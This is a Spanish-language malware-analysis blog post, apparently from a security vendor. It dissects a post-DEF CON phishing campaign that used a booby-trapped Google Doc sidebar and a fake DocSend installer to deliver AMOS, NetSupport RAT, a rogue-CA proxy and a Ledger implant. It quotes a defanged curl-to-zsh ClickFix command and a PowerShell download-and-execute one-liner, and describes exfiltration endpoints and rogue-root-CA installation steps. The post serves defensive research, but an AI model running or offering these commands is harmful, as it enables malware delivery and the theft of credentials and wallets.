Phishing posterior a DEF CON usa Apps Script de Google Doc para distribuir malware

Agradecimientos: un agradecimiento especial a Stuart Ashenbrenner, Lindsey Welch, Jamie Levy y Andrew Brandt por sus contribuciones a esta investigación y a este artículo.

Contexto

Los grandes eventos de la industria, como Black Hat y DEF CON, crean un entorno rico en objetivos para los actores maliciosos, ya que los asistentes intercambian nuevos contactos, documentos, invitaciones y planes de seguimiento. Los atacantes aprovechan esta actividad para que el contacto malicioso parezca una interacción rutinaria más después de la conferencia.

Recién terminado el "Hacker Summer Camp," se han reportado varios informes de campañas de phishing dirigidas a los asistentes, y uno de nuestros propios investigadores estuvo entre los objetivos de los actores de amenazas. En este caso, el 9 de agosto, la cuenta de X @HartmansDoeke envió un mensaje directo haciéndose pasar por la vicepresidenta y jefa de marketing de CoinDesk, y pidió ayuda con su próxima conferencia. La cuenta parece usar la imagen de una persona con el nombre de otra. El mensaje finalmente dirigió al destinatario a un Google Doc con una barra lateral personalizada diseñada para guiarlo a través de la ejecución de malware. 

Figura 1: La cuenta de X @HartmansDoeke que le envió un mensaje a nuestro investigador, haciéndose pasar por la vicepresidenta y jefa de marketing de CoinDesk

Nuestro investigador reconoció de inmediato el señuelo como una estafa y no cayó en ella, pero siguió interactuando con el actor para comprender mejor las tácticas que estaba usando. 

El Google Doc era más que el típico señuelo de phishing que lleva a una página web maliciosa. Si un usuario autenticado de Google lo abría, aparecía una barra lateral personalizada de Google Apps Script junto al documento. El documento le pedía al usuario que ingresara una "clave de cifrado" (proporcionada por el actor en los mensajes directos), que parecía fallar al ingresarla. La barra lateral ofrecía dos opciones de seguimiento: instrucciones al estilo ClickFix y una opción de descarga, ambas diseñadas para descargar y ejecutar código malicioso. 

Pero el actor no se detuvo ahí. Cuando nuestro investigador no cayó en el Google Doc malicioso, el actor de amenazas volvió al día siguiente con un segundo documento malicioso. Este documento se hacía pasar por un enlace compartido de Dropbox DocSend y llevaba a un instalador falso de DocSend que entregaba el stealer AMOS a los usuarios de macOS y, a los de Windows, el RAT NetSupport, un implante para billeteras Ledger y un proxy que interceptaba tráfico.

En conjunto, los dos señuelos muestran cómo el actor de amenazas usó plataformas conocidas para generar credibilidad y mantener al objetivo interesado. Al combinar mensajes directos en redes sociales con servicios confiables de documentos y archivos compartidos, el actor creó un flujo de trabajo de apariencia legítima diseñado para engañar a los objetivos y hacer que ejecutaran el malware. 

La comunicación inicial después de la conferencia 

El actor que contactó a nuestro investigador ha estado comunicándose con una gran cantidad de asistentes a la conferencia en los días posteriores a Black Hat y DEF CON, usando en gran parte un texto estándar en las respuestas de X. 

Figuras 2 y 3: La cuenta de X comentando en otras cuentas de ciberseguridad después de DEF CON en un intento de usar el señuelo de "planificación de conferencia"

Incluso han creado publicaciones que parecen ser un intento de hacer que la cuenta se vea más legítima. Sin embargo, estas publicaciones no han sido bien recibidas.  

Figuras 4 y 5: La cuenta de X intentando parecer legítima bajo la apariencia de una "reunión" con el equipo de CoinDesk, solo para que varias personas la señalaran como falsa

En el caso de uno de los mensajes directos de nuestro investigador, el actor comenzó preguntando sobre planes futuros para visitar conferencias, afirmando que están planeando una conferencia en línea que comienza en un par de semanas. 

Figuras 6 y 7: La cuenta de X enviando un mensaje a nuestro investigador sobre la "conferencia", compartiendo el Google Doc y la clave de cifrado

El Google Doc: una barra lateral sospechosa

Cuando el destinatario mostró interés, el actor envió un Google Doc que parecía ser un documento de planificación para la supuesta conferencia. Al hacer clic en el documento, se desarrolla lo que se muestra en el video a continuación.

Figura 8: Una demostración del script malicioso de Google Apps Script

El documento "parece" estar parcialmente cifrado y contiene una barra lateral que consiste en un archivo llamado DecryptPanel.html. Validaba un pequeño conjunto de claves codificadas, recopilaba información de la víctima y del sistema, informaba de la actividad a través de Telegram, y ofrecía rutas de payload separadas para macOS y Windows. El código también contiene comentarios en ruso y emojis esparcidos por todas partes.

Figura 9: Captura de pantalla del código malicioso de Google Apps Script

El actor proporcionó una "clave de acceso" en la conversación de DM; sin embargo, la clave no logra "descifrar" el documento.

Figura 10: El evento falso de descifrado fallido que se muestra a los usuarios después de ingresar la clave de descifrado proporcionada por el actor de amenazas

Esto parece estar diseñado así, para llevar al destinatario a pensar que algo salió mal. Luego se le muestra al objetivo una barra lateral en el lado derecho del documento con instrucciones para el "Descifrado del documento", seguida de una opción de "Actualización manual".

La forma en que se desarrolla este proceso depende de si el destinatario usa macOS o Windows. 

La ruta de compromiso en macOS

Figura 11: El mensaje estilo ClickFix que se muestra a los usuarios para "actualizar" su computadora y así poder "descifrar" el Google Doc, lo que en realidad entrega malware

Si un objetivo usa macOS, se le indica que copie y pegue el siguiente comando, lo ejecute y luego regrese al documento para más instrucciones: 

curl -fsSL https://apple-googleapi[.]com/i | zsh

Suponemos que el actor de amenazas tenía la intención de que hubiera un payload al otro extremo de este comando. Sin embargo, en nuestras pruebas quedó atrapado en un bucle de redirección, ya que la dirección remota aparentemente apunta a 127.0.0.1:43695 al momento de la publicación de este blog. En última instancia, el navegador hizo 108 solicitudes, pero se rindió tras recibir respuestas repetidas de 301 Moved Permanently.  

La segunda opción, "Actualización manual", presenta una ruta de entrega alternativa que lleva al usuario a una página de GitHub Releases administrada por el actor, la cual contiene una imagen de disco de macOS llamada GAPIUpdate.dmg. 

Figura 12: La actualización manual que los usuarios pueden descargar a su computadora y que entrega malware

El archivo .dmg contiene un paquete de aplicación firmado de forma ad hoc y las instrucciones piden al usuario que evada la función integrada Gatekeeper de macOS de Apple, lo que le permite ejecutarse en el sistema comprometido. 

Figura 13:  El paquete de la aplicación da instrucciones a los usuarios para evadir macOS Gatekeeper sin que se den cuenta

Figura 14: Al seguir las instrucciones del paquete de la aplicación, los usuarios deben ingresar sus contraseñas

Al ejecutarse, el archivo malicioso apunta a contraseñas y cookies del navegador, varias billeteras de criptomoneda, datos del llavero y archivos de Telegram. También activa una única solicitud TCC (Transparencia, Consentimiento y Control) pidiendo al usuario que le conceda acceso a toda su base de datos de Notes.app. Luego copia el contenido a un archivo .html separado, ubicado junto con otros datos robados en /tmp/lksopo. Estos datos se archivan y se envían a http://86.54.25[.]213/log. Cabe destacar que no se enumeran archivos de otras ubicaciones protegidas por TCC, como ~/Desktop y ~/Documents. Este código fue optimizado para pasar desapercibido.

Finalmente, el malware establece persistencia haciendo una solicitud a http://192.253.248[.]181/api/v1/getscpt/<username> que devuelve un archivo de propiedades (plist) de LaunchDaemon manipulado, /Library/LaunchDaemons/com.xdivcmp.plist, que contiene una gran cantidad de código AppleScript. Este LaunchDaemon se ejecuta en un contexto privilegiado mediante un comando launchctl bootstrap y de inmediato configura un agente de puerta trasera que consulta periódicamente al servidor.

Este script de LaunchDaemon no contiene direcciones de comando y control (C2) codificadas de forma fija, pero hace referencia a archivos ubicados en el directorio de inicio del usuario:

• ~/.phost (servidor del panel) que contiene 86.54.25[.]213

• ~/.bhost (servidor del bot) que contiene 192.253.248[.]181

• ~/.username - nombre de usuario del panel configurado como "xxx"

• ~/.botid - GUID que representa al equipo

• ~/.pwd - la contraseña robada de nuestro usuario

• ~/.uninstalled - un interruptor de desactivación

• ~/.lastaction - contiene la última acción desde "/api/v1/bot/actions/"

Este script consulta repetidamente al C2 y recibe comandos, llamados "actions", como "uninstall", "doshell" para la ejecución de comandos arbitrarios, y "enablesocks5", que convierte el equipo en un nodo proxy SOCKS5.

Mientras tanto, en Windows

Cuando un usuario abre el supuesto documento de planificación en Google Docs en un sistema Windows, también pasa por el mismo proceso de "desencriptación". Pero cuando el proceso falso de desencriptación falla en este caso, se le presentan instrucciones para actualizar un supuesto "Google API Connector" en su sistema. 

Figura 15: La cadena de ataque en Windows muestra instrucciones a los usuarios vinculadas a una "actualización de Google API Connector"

Al hacer clic en el botón para actualizar se iniciará un instalador automático de Windows que usa un manifiesto de implementación ClickOnce llamado GapiUpdate.application. En lugar de ser un ejecutable convencional, este archivo .application firmado dirige a ClickOnce de Windows hacia la ubicación de instalación controlada por el actor: https://gapidriver[.]com/installer/GapiUpdate.application. Esta aplicación viene con un certificado perteneciente a una empresa noruega (BARNEHAGEN GUNHILDS MINNE AS) que parece haber sido robado o emitido de forma fraudulenta, en lugar de ser legítimamente propiedad de esa empresa. 

Una vez instalada la aplicación, muestra un portal renderizado en HTML de "Google Workspace Marketplace" mientras se descargan payloads adicionales en silencio en segundo plano. 

Figura 16: El portal HTML "Google Workspace Marketplace"

Para profundizar en este portal, consulta el excelente artículo publicado por GBHackers. Las observaciones de nuestros analistas sobre el tráfico de C2 detectaron el uso de caracteres cirílicos en varios mensajes de conexión. 

Si el usuario sigue el proceso de instalación manual en Windows, se encuentra con las mismas instrucciones al estilo ClickFix. Solo que esta vez se le presenta un script de PowerShell cifrado para copiar y pegar:

Figura 17: A los usuarios se les presentan instrucciones para copiar y pegar un script de PowerShell

Esto se decodifica de la siguiente manera: 

$t=$env:temp+'\sys.ps1';try{Import-Module BitsTransfer -EA Stop;Start-BitsTransfer 'https://1foqo[.]lat/core4' $t -EA Stop}catch{Invoke-WebRequest 'https://1foqo[.]lat/core4' -OutFile $t -UseBasicParsing};iex(gc $t -Raw);ri $t

Este script hace lo siguiente: 

• Oculta su ventana

• Crea un archivo de PowerShell en %TEMP%\sys.ps1

• Descarga un script desde https://1foqo[.]lat/core4 – que es el cargador – y lo ejecuta con Invoke-Expression

• Elimina el archivo temporal de PowerShell que creó

El script también muestra una ventana muy simple de "Instalando" con una barra de progreso falsa al objetivo. Después de un momento la ventana salta a un porcentaje diferente antes de cerrarse.

Figura 18: El script cargador muestra una ventana de "instalación" a la víctima

Luego intenta descargar múltiples payloads cifrados desde las siguientes ubicaciones:

• https://2fksf[.]lat/res10.php

• https://2fksf[.]lat/res11.php

• https://3pqow[.]lat/res12.php

Estos payloads se almacenan en %LOCALAPPDATA%\Microsoft\Windows\UpdateCache y se decodifican de la siguiente manera: 

• DockerDesktopSvc.exe

• SteamClientHelperHost.exe

• TeraCopyMonMon.exe

Cuando los investigadores de Huntress intentaron investigar más a fondo estas muestras, descubrieron que actualmente no están disponibles y devuelven errores 404. Es posible que estos payloads se hayan usado en campañas anteriores, ya que los binarios están disponibles en VirusTotal. Estos archivos parecen conectarse a varios dominios y direcciones IP inactivos.

Figura 19: Las direcciones IP que alojan el dominio de entrega de payloads 1foqo[.]lat también alojan otros dominios asociados con "Sleestak", un script de malware cargador basado en PowerShell

Impaciencia, SDKs y CAs falsos, y un RAT real

Al parecer, nuestro investigador no fue lo suficientemente rápido para instalar el malware del actor, y este dio seguimiento al día siguiente con un segundo documento malicioso, esta vez dirigido específicamente a Windows. 

Figura 20: La conversación con el actor de amenazas continúa; esta vez dio seguimiento con otro documento malicioso

El archivo se hace pasar por un recurso compartido de Dropbox DocSend, un servicio para distribuir documentos a través de enlaces seguros, y le pide al destinatario que instale una "versión de escritorio" de DocSend. Al hacer clic en la descarga se redirige a https://docsend[.]online/download/drivers, que verifica la cadena User-Agent del navegador para ver si el usuario está en Mac o PC antes de entregar un instalador falsificado.

Si el usuario está usando un navegador en Mac, se le redirige a apple.eu03hub[.]com y se le presenta una descarga llamada DocSendInstaller.zip. Aunque se hace pasar por una instalación de DocSend, se trata de un archivo .zip que contiene el mismo infostealer AMOS que se entrega al interactuar con el Google Doc armado. 

Si el usuario está usando un navegador en Windows, se redirige a microsoft.eu02hub[.]com y se presenta una página sugiriéndole que descargue una versión de escritorio de DocSend para ver el archivo. 

Figura 21: A los usuarios se les presenta una página indicándoles que descarguen la "versión de escritorio de DocSend"

Etapa uno

El archivo descargado DocsendInstaller.exe es una aplicación de Electron empaquetada dentro de un instalador NSIS, firmada con un certificado de firma de código robado a Discord Inc. La firma no se valida. No se instala ningún software legítimo de Dropbox.

Figura 22: El disfraz: inicialización falsa del SDK de Sentry (out/main/index.js)

Lo que la víctima recibe en cambio es una imitación convincente: un carrusel de bienvenida de cinco pantallas que usa textos de marketing y capturas reales de Dropbox, incluido un enlace de actualización genuino de dropbox.com. "Get Started" solo avanza el carrusel. 

Figura 23: El falso "carrusel de bienvenida" de Dropbox, completo con imágenes reales de marketing

En la última pantalla, "Open Dropbox" reemplaza la etiqueta del botón con un ícono de carga durante un período aleatorio de entre 8 y 11 segundos, y luego se detiene. No se abre nada y el botón vuelve a quedar activo. El retraso existe para imitar el inicio de una aplicación mientras el cargador trabaja en segundo plano.

Etapa dos

Después de "instalarse", el cargador identifica el sistema: ID del hardware, nombre del equipo, nombre de usuario, versión del sistema operativo, CPU, GPU, tipo y versión del BIOS, adaptadores de red, memoria disponible y configuraciones de teclado instaladas. Los datos de configuración se leen desde HKCU\Keyboard Layout\Preload mediante PowerShell y se asocian con la configuración regional del sistema.

Ese perfil se envía a https://docsend[.]web12api[.]com/api/launcher/start. La respuesta contiene un payload de JavaScript, que el cargador pasa directamente a un constructor Function() y ejecuta en memoria. No se escribe nada en el disco más allá de los propios archivos del instalador.

Vale la pena detenerse en un detalle: cada ruta de error del cargador se descarta en silencio. Un servidor caído, un sistema rechazado y una vulneración exitosa producen el mismo resultado en pantalla: absolutamente nada. La víctima no puede notar la diferencia, y tampoco puede hacerlo quien observe el endpoint.

Al solicitar la etapa dos desde el propio endpoint de esta muestra, se obtuvo un error HTTP 404. Al comparar el tamaño de una respuesta 404 real con los tamaños registrados durante la detonación, se observó que el sandbox había recibido respuestas de tamaño similar, demasiado pequeñas para haber contenido un payload de la longitud que recuperamos después. El servidor de esta campaña ya se había rotado o estaba fuera de línea antes de que lo analizáramos, por lo que la muestra ya no funcionaba para cuando la obtuvimos. No podemos decir cuánto tiempo estuvo activo antes de eso, ni cuántos sistemas atacó durante esa ventana.

En lugar de detenernos ahí, buscamos el resto de la operación. La investigación de DNS pasivo y subdominios mostró que el mismo operador manejaba variantes adicionales con otras marcas en el mismo dominio. Al replicar la solicitud de red del malware con un protocolo idéntico y un perfil de sistema sintético, y dirigirla a una campaña hermana activa con la marca SignNow, signow.web12api[.]com, obtuvimos una etapa dos funcional: 5.582 bytes de JavaScript, junto con un token de sesión, una contraseña de archivo comprimido y tres URL.

Etapa tres

El JavaScript recuperado es compacto y no está ofuscado. Su primera acción, antes de que nada toque el disco, es capturar una captura de pantalla completa del escritorio y subirla.

Luego elige al azar un directorio de trabajo entre cuatro candidatos: 

• Una carpeta con el nombre de la aplicación dentro de Documentos

• La carpeta Imágenes del usuario

• %TEMP%\Cache_328189ho

• %UserProfile%\VirtualBoxVGA

Figura 24: Las primeras 49 líneas del gestor de la etapa tres

Se descargan tres payloads desde https://eu03hub[.]com/get_file?file=X, cada uno un archivo protegido con contraseña que se abre con una clave entregada en la misma respuesta de C2. Cada ejecutable dentro se inicia como un proceso independiente con su ventana oculta, y luego se ejecuta de nuevo veinte segundos después mediante Start-Process -Verb RunAs para solicitar elevación de privilegios. Se reportan de vuelta los conteos de payloads iniciados, completados y fallidos. 

Payload uno: NetSupport Manager (RAT)

El primer archivo contiene un instalador MSI de NetSupport Manager 14.10.0004, una herramienta legítima y comercial de administración remota que suele reutilizarse como un RAT. Es el único de los tres archivos que ya era conocido por VirusTotal al momento de la investigación.

Lo que lo vuelve hostil es su configuración. El cliente apunta a msedgewebview1[.]pro y msedgewebview2[.]pro en el puerto 443, ambos nombrados para pasar como tráfico de Microsoft Edge WebView en una lista de procesos o en un registro de firewall. Ambos resuelven a una sola máquina, 87.120.104[.]88 (AS211443), y el tráfico hacia el gateway es HTTP en texto plano por el puerto 443 en lugar de TLS, elegido para mezclarse con los registros de flujo. Todo lo que pudiera exponerlo ante el usuario está deshabilitado: sin ícono en la bandeja del sistema, modo silencioso activado, oculto cuando está inactivo, y el chat, la mensajería, las conexiones de clientes y las alertas de desconexión están todas desactivadas. A la víctima no se le da ninguna interfaz para notar la sesión, mucho menos para terminarla.

Figura 25: configuración del archivo de configuración del RAT NetSupport

La licencia identifica al titular como "NSM1234", una licencia comúnmente compartida entre versiones crackeadas y distribuidas de NetSupport. La configuración también lleva una ruta de la propia máquina de compilación del operador, concretamente '2RMS':

C:\Users\Administrator\Desktop\2RMS\client32u.ini

Payload dos: una autoridad certificadora en el equipo de la víctima

El segundo payload llega disfrazado de paquete de controladores de Lenovo, usando metadatos de versión de Lenovo y un certificado de firma de código de Lenovo genuino pero robado. La firma no se valida, aunque sobreviviría a un vistazo rápido.

Es un cargador de 64 bits que vacía C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MsBuild.exe y ejecuta su payload dentro de ese binario confiable de Microsoft. No importa nada más que kernel32, resuelve sus funciones de criptografía en tiempo de ejecución y codifica con XOR cada cadena de forma individual. 

Una vez en ejecución, construye una infraestructura de clave pública funcional en el equipo de la víctima:

• Genera una autoridad de certificación autofirmada que se presenta como O=Google Trust Services, CN=WR3, válida por diez años, y la instala en el almacén raíz del sistema mediante certutil -addstore -f ROOT

• Se emite a sí mismo un certificado para www.virustotal.com desde esa autoridad, con una lista de nombres alternativos del sujeto que cubre el dominio real, localhost, 127.0.0.1 y ::1

• Agrega 127.0.0.1 www.virustotal.com al archivo hosts de Windows

• Crea una regla de firewall entrante llamada "LocalProxy" para el proceso MsBuild vaciado, que luego escucha en ella.

Figura 26: Salida de OpenSSL que muestra la autoridad de certificación falsa y el certificado forjado de VirusTotal

El tráfico de VirusTotal del equipo ahora se redirige a un proxy local que responde por HTTPS con un certificado que valida por completo, sin advertencias ni errores. Las búsquedas se pueden bloquear por completo o responder con resultados fabricados.

VirusTotal fue el único objetivo que observamos durante el análisis, sin interacción del operador. La clave privada de la autoridad de certificación se escribe en el disco junto a los certificados, por lo que se puede generar un certificado de confianza para cualquier dominio a voluntad. La autoridad se genera de nuevo en cada equipo, lo que significa que bloquear una sola huella digital no sirve de nada.

Payload tres: un implante de Ledger

El tercer payload usa el mismo cryptor que el segundo, junto con el mismo disfraz de Lenovo, el certificado robado y el vaciado de MsBuild. Lo que se ejecuta dentro es diferente.

Crea una entrada Run en el registro llamada "Ledger Wallet Installer" y luego enumera las instalaciones de billeteras de criptomoneda Ledger, revisando C:\Program Files\Ledger Live y C:\Program Files\Ledger Wallet en busca de sus archivos de configuración. Crea %APPDATA%\Ledger Live\app.crc32 y escribe en él dieciséis caracteres hexadecimales. Esos caracteres son el identificador del bot y aparecen textualmente en la URL que luego empieza a consultar:

GET https://eu07connect[.]com/api/commands/<bot id>

Ocultar el identificador como un archivo de suma de verificación dentro del directorio de datos de una aplicación real hace que sobreviva a los reinicios y parezca normal para quien revise la carpeta. El implante hizo 18 consultas a intervalos irregulares durante el análisis. Todas las respuestas estuvieron vacías. El canal funciona y simplemente estaba inactivo, lo cual encaja con un operador que revisa los equipos antes de asignarles tareas.

Su persistencia está incompleta. La entrada Run apunta a MsBuild sin argumentos ni archivo de proyecto, y una invocación simple de MsBuild genera un error y se cierra. No se dejó nada que lo activara. No queda claro en la muestra si se trata de un defecto, un marcador de posición o algo que se completa más tarde por orden del operador.

Atando todos los cabos

Dos de los tres payloads comparten un cryptor, pero no son variantes entre sí. Propósitos distintos, servidores distintos.

NetSupport lleva la persistencia de los tres. Instala un controlador de filtro de teclado en modo kernel en C:\Windows\system32\drivers\nskbfltr.sys, lo registra como servicio bajo HKLM\SYSTEM\...\Services\nskbfltr, modifica Winlogon y registra su propio objeto COM. Los otros dos invierten casi nada en persistencia porque no lo necesitan. Un operador con acceso interactivo puede relanzar cualquier cosa a voluntad.

El proxy toma una ruta diferente. Su proceso no sobrevive a un reinicio, pero sus cambios sí. La autoridad certificadora falsa, la entrada del archivo hosts y la regla de firewall persisten indefinidamente y siguen siendo de confianza mucho después de que el malware que las instaló ya no está. De todo en esta cadena, esa autoridad certificadora es el artefacto que más probablemente se pase por alto durante la limpieza, y el que más importa si eso ocurre.

El tercer payload sugiere para qué sirve la operación. Billeteras de criptomoneda, en una máquina que el atacante ya controla de forma remota y cuyo tráfico cifrado está en posición de leer.

La infraestructura sugiere que esto no es algo aislado. El cargador se sirve bajo varias marcas desde un solo dominio, y los servidores de payload y comando siguen un patrón numerado (eu03hub, eu07connect, web12api, 02api), lo que implica un conjunto más grande que los cuatro que observamos.

Un giro de un millón de dólares

Solo podemos suponer que, durante todo este tiempo, el actor de amenazas esperaba pacientemente a que uno de sus payloads respondiera, avisándole de un nuevo sistema comprometido. Sin desanimarse cuando eso no sucedió, el actor volvió a contactarnos.

Figura 27: El actor de amenazas intenta una última maniobra

Le preguntamos al actor si tenía a mano un payload para Linux que pudiera enviarnos, pero lamentablemente no contaba con uno listo. Entonces, de la misma manera que un vendedor que escucha un "no" podría intentar cambiar su discurso, el actor cambió de táctica hacia lo que parece ser una estafa de financiamiento, quizás en un intento de robar credenciales u otra información de identificación personal (PII) de su objetivo. Aunque ahí terminamos las cosas, hay que reconocerle al actor que, si algo es, es persistente.

Guía de mitigación 

Siempre que hay un evento ampliamente comentado o que es noticia, se presenta una oportunidad lucrativa para que los atacantes lo usen como señuelo. Los investigadores han informado anteriormente de incidentes donde los atacantes usaron conferencias importantes de ciberseguridad como señuelos para sus ataques, incluso fuera de Black Hat y DEF CON. Esta campaña se basa en un patrón conocido de ingeniería social: un mensaje de apariencia confiable lleva a un documento o instalador, y se le pide al objetivo que realice acciones que los controles de seguridad normales impedirían. Las solicitudes inesperadas de ejecutar comandos de terminal, omitir Gatekeeper, instalar una actualización manual o ingresar la contraseña del dispositivo son todas señales claras de un intento de ataque, y no de una solución de problemas rutinaria en una situación así. 

Si tú o alguien dentro de tu organización ha interactuado con un señuelo como este, aísla el sistema de la red, recopila cualquier evidencia forense relevante y considera reinstalar la imagen del sistema. Asume que las credenciales del sistema están comprometidas. Revoca las sesiones activas, cambia las contraseñas y rota las claves de API o cualquier otro secreto que pueda residir en el sistema. Revisa también las billeteras de criptomoneda, si están presentes. 

Indicadores de compromiso (IOCs)

Huntress ha publicado estos indicadores en nuestro repositorio de Github.

IOCs de macOS

IOC de Windows